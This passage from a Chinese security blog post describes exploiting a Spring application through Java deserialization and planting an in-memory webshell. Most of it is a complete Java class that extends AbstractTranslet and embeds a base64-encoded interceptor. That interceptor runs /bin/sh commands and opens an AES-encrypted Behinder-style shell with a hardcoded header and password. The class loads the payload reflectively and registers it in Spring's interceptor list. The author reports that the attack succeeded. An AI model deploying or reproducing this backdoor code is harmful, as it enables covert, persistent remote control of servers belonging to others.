本地搭建相关环境,在jdk8u391的环境下成功执行命令。 但是tmd打回显的?子又不行,调试了半天还是不行?。 刚好外卖到了,边吃鸭脖边又看了两眼,发现?子忘记继承AbstractTranslet了…
在这里插入图片描述
内存马
能回显了,但是在实际攻防当中我们最好还是能够打入内存马方便操作。 考虑到目标环境是spring,我直接就找了以前的springInterceptor的内存马,

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.beans.BeansException;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.servlet.ServletRequest;
import javax.servlet.http.HttpServletRequest;
import java.lang.reflect.Method;

public class SpringInterceptorMemShell extends AbstractTranslet {
static String b64 = “yv66vgAAADQBSAoAZQCFCACGCQBkAIcIAIgJAGQAiQgAigkAZACLCgBkAIwJAI0AjggAjwoAkACRCACSCwCTAJQIAJUKABMAlgoAEwCXCQCYAJkIAJoHAJsIAJwIAJ0IAJ4IAJ8HAKAKAKEAogoAoQCjCgCkAKUKABgApggApwoAGACoCgAYAKkLAKoAqwoArACRCwCTAK0LAJMArggArwgAsAsAkwCxBwCyCgAnAIUIALMKACcAtAgAtQgAtggAtwsAuAC5CAC6CgC7ALwHAL0HAL4KADIAhQsAuAC/CgAyAMAIAMEKADIAwgoAMgDDCgATAMQKADEAxQoAuwDGBwDHCgA8AIULAJMAyAoAyQDKCgA8AMsKALsAzAgAzQoARQDOCADPBwDQBwDRCQDSANMKAEUA1AoA1QDWCgBMANcKAEUA2AcA2QoA0gDaCgDVANsKAEUA3AoATACWCADdBwDeCgBSAN8KAOAA4QoA4ADiCADjCgBbAOQJAGQA5QcA5ggA5wcA6AcA6QoAXADfBwDqCgBeAN8HAOsKAGAA3wcA7AoAYgDfBwDtBwDuAQASbXlDbGFzc0xvYWRlckNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBABBiYXNpY0NtZFNoZWxsUHdkAQASTGphdmEvbGFuZy9TdHJpbmc7AQATYmVoaW5kZXJTaGVsbEhlYWRlcgEAEGJlaGluZGVyU2hlbGxQd2QBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAJsHAO8HAPAHAN4BAApFeGNlcHRpb25zAQAKaW5pdGlhbGl6ZQcA7QcA6AcA5gcA8QcA6QcA6gcA6wcA7AEAClNvdXJjZUZpbGUBAB9EeW5hbWljSW50ZXJjZXB0b3JUZW1wbGF0ZS5qYXZhAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsMAGwAbQEABHBhc3MMAGgAaQEADFgtT3B0aW9ucy1BaQwAagBpAQAQZTQ1ZTMyOWZlYjVkOTI1YgwAawBpDAB4AG0HAPIMAPMA9AEAIlsrXSBEeW5hbWljIEludGVyY2VwdG9yIHNheXMgaGVsbG8HAPUMAPYA9wEABHR5cGUHAPgMAPkA+gEABWJhc2ljDAD7APwMAP0A/gcA/wwBAABpAQABLwEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAANjbWQBAAIvQwEAEWphdmEvdXRpbC9TY2FubmVyBwEBDAECAQMMAQQBBQcBBgwBBwEIDABsAQkBAAJcQQwBCgELDAEMAQ0HAQ4MAQ8BEAcBEQwBEgD6DAETAQ0BAARQT1NUAQAGUWl1UUl1DAEUARUBABFqYXZhL3V0aWwvSGFzaE1hcAEAB3JlcXVlc3QMARYBFwEACHJlc3BvbnNlAQAHc2Vzc2lvbgEAAXUHARgMARkBGgEAA0FFUwcA7wwBGwEcAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEdAR4MAR8BIAEAAAwBHwEhDAEiAQ0MASMBJAwAbAElDAEmAScBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAEoASkHASoMASsBDQwBLAEtDAEuAS8BABVqYXZhLmxhbmcuQ2xhc3NMb2FkZXIMATABMQEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQACW0IHATIMATMAZwwBNAE1BwDxDAE2ATcMATgBOQwBOgE7AQAQamF2YS9sYW5nL09iamVjdAwBPAE9DAE+AT8MAUABQQEAB1FpdVlZRFMBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFCAG0HAUMMAUQBRQwBRgE7AQAnY29tLmZlaWhvbmcubGRhcC50ZW1wbGF0ZS5NeUNsYXNzTG9hZGVyDAFHATEMAGYAZwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQMceXY2NnZnQUFBRElBR3dvQUJRQVdCd0FYQ2dBQ0FCWUtBQUlBR0FjQUdRRUFCanhwYm1sMFBnRUFHaWhNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQ2xNWTI5dEwyWmxhV2h2Ym1jdmJHUmhjQzkwWlcxd2JHRjBaUzlOZVVOc1lYTnpURzloWkdWeU93RUFBV01CQUJkTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPd0VBQzJSbFptbHVaVU5zWVhOekFRQXNLRnRDVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBQVZpZVhSbGN3RUFBbHRDQVFBTFkyeGhjM05NYjJGa1pYSUJBQXBUYjNWeVkyVkdhV3hsQVFBU1RYbERiR0Z6YzB4dllXUmxjaTVxWVhaaERBQUdBQWNCQUNkamIyMHZabVZwYUc5dVp5OXNaR0Z3TDNSbGJYQnNZWFJsTDAxNVEyeGhjM05NYjJGa1pYSU1BQThBR2dFQUZXcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjZ0VBRnloYlFrbEpLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBQ0VBQWdBRkFBQUFBQUFDQUFBQUJnQUhBQUVBQ0FBQUFEb0FBZ0FDQUFBQUJpb3J0d0FCc1FBQUFBSUFDUUFBQUFZQUFRQUFBQVFBQ2dBQUFCWUFBZ0FBQUFZQUN3QU1BQUFBQUFBR0FBMEFEZ0FCQUFrQUR3QVFBQUVBQ0FBQUFFUUFCQUFDQUFBQUVMc0FBbGtydHdBREtnTXF2cllBQkxBQUFBQUNBQWtBQUFBR0FBRUFBQUFJQUFvQUFBQVdBQUlBQUFBUUFCRUFFZ0FBQUFBQUVBQVRBQTRBQVFBQkFCUUFBQUFDQUJVPQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQAaRHluYW1pY0ludGVyY2VwdG9yVGVtcGxhdGUBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmF4L2NyeXB0by9DaXBoZXIBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAlnZXRIZWFkZXIBAAlnZXRNZXRob2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEACWxvYWRDbGFzcwAhAGQAZQAAAAQAAgBmAGcAAAACAGgAaQAAAAIAagBpAAAAAgBrAGkAAAADAAEAbABtAAEAbgAAAEcAAgABAAAAGyq3AAEqEgK1AAMqEgS1AAUqEga1AAcqtwAIsQAAAAEAbwAAABoABgAAABgABAAUAAoAFQAQABYAFgAZABoAGgABAHAAcQACAG4AAAKHAAcACwAAAcGyAAkSCrYACysSDLkADQIAxgCQKxIMuQANAgASDrYAD5kAgCsqtAADuQANAgA6BBkExgGOGQS2ABCaAYYBOgWyABESErYAD5kAGwa9ABNZAxIUU1kEEhVTWQUZBFM6BqcAGAa9ABNZAxIWU1kEEhdTWQUZBFM6BrsAGFm4ABkZBrYAGrYAG7cAHBIdtgAetgAfOgcsuQAgAQAZB7YAIQOsKyq0AAW5ACICAMYBFSu5ACMBABIktgAPmQD9sgAJEiW2AAsruQAmAQA6BrsAJ1m3ACg6BxkHEikrtgAqVxkHEisstgAqVxkHEiwZBrYAKlcqtAAHOgQZBhItGQS5AC4DABIvuAAwOgUZBQW7ADFZuwAyWbcAMxkGEi25ADQCALYANRI2tgA3tgA4tgA5Ei+3ADq2ADsZBbsAPFm3AD0ruQA+AQC2AD+2AEC2AEE6CBJCuABDEkQGvQBFWQMSRlNZBLIAR1NZBbIAR1O2AEg6CRkJBLYASRkJKrYASrYASwa9AExZAxkIU1kEA7gATVNZBRkIvrgATVO2AE7AAEU6ChkKtgBPGQe2AFBXsgAJElG2AAsDrKcACjoGGQa2AFMErAABAK0BtAG4AFIAAgBvAAAAigAiAAAAHQAIACAAIwAhAC8AIgA8ACMAPwAlAEoAJgBiACgAdwArAJMALACeAC0AoAAvAK0AMQC7ADIAwwAzAMsANADUADUA3QA2AOYANwDwADgA9gA5AQEAOgEIADsBNQA8AU8APQFwAD4BdgA/AaAAQAGrAEEBswBCAbUARgG4AEQBugBFAb8ASQByAAAAHAAG/QBiBwBzBwB0/AAUBwB1+AAo+wEUQgcAdgYAdwAAAAQAAQBSAAIAeABtAAEAbgAAAXgABwAHAAAAlbgAVLYAVUwqKxJWtgBXtQBYpwBrTRJaTrsAPFm3AD0ttgBAOgQBOgUSWxJEBr0ARVkDEkZTWQSyAEdTWQWyAEdTtgBIOgUZBQS2AEkqGQUrBr0ATFkDGQRTWQQDuABNU1kFGQS+uABNU7YATsAARbUAWKcACjoGGQa2AF2nABhMK7YAX6cAEEwrtgBhpwAITCu2AGOxAAUABwARABQAWQAoAHIAdQBcAAAAfAB/AF4AAAB8AIcAYAAAAHwAjwBiAAIAbwAAAF4AFwAAAE4ABwBRABEAXgAUAFIAFQBTABgAVAAlAFUAKABYAEYAWQBMAFoAcgBdAHUAWwB3AFwAfABlAH8AXwCAAGAAhABlAIcAYQCIAGIAjABlAI8AYwCQAGQAlABnAHIAAABFAAf/ABQAAgcAeQcAegABBwB7/wBgAAYHAHkHAHoHAHsHAHMHAEYHAHwAAQcAff8ABgABBwB5AABCBwB+RwcAf0cHAIAEAAIAgQAAAAIAggCDAAAABgABAIQAAA==”;
static String clazzName = “DynamicInterceptorTemplate”;

static {
    try {
        Class&lt;?&gt; RequestContextUtils = Class.forName("org.springframework.web.servlet.support.RequestContextUtils");

        Method getWebApplicationContext;
        try {
            getWebApplicationContext = RequestContextUtils.getDeclaredMethod("getWebApplicationContext", ServletRequest.class);
        } catch (NoSuchMethodException e) {
            getWebApplicationContext = RequestContextUtils.getDeclaredMethod("findWebApplicationContext", HttpServletRequest.class);
        }
        getWebApplicationContext.setAccessible(true);

        WebApplicationContext context = (WebApplicationContext) getWebApplicationContext.invoke(null, ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

        //从requestMappingHandlerMapping中获取adaptedInterceptors属性 老版本是DefaultAnnotationHandlerMapping
        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping;
        try {
            Class&lt;?&gt; RequestMappingHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
            abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping);
        } catch (BeansException e) {
            Class&lt;?&gt; DefaultAnnotationHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping");
            abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(DefaultAnnotationHandlerMapping);
        }

        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList adaptedInterceptors = (java.util.ArrayList) field.get(abstractHandlerMapping);

        //加载ysoserial.payloads.templates.SpringInterceptorTemplate类的字节码
        byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
        java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        m0.setAccessible(true);
        m0.invoke(classLoader, clazzName, bytes, 0, bytes.length);
        //添加SpringInterceptorTemplate类到adaptedInterceptors
        adaptedInterceptors.add(classLoader.loadClass(clazzName).newInstance());
    } catch (Exception e) {

// e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}
在这里插入图片描述
成功执行

但是貌似路径只能限制在/3.0/authService/config​这里。 测试tomcat的listener类型内存马也可以。
在这里插入图片描述
参考
https://github.com/bitterzzZZ/MemoryShellLearn

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值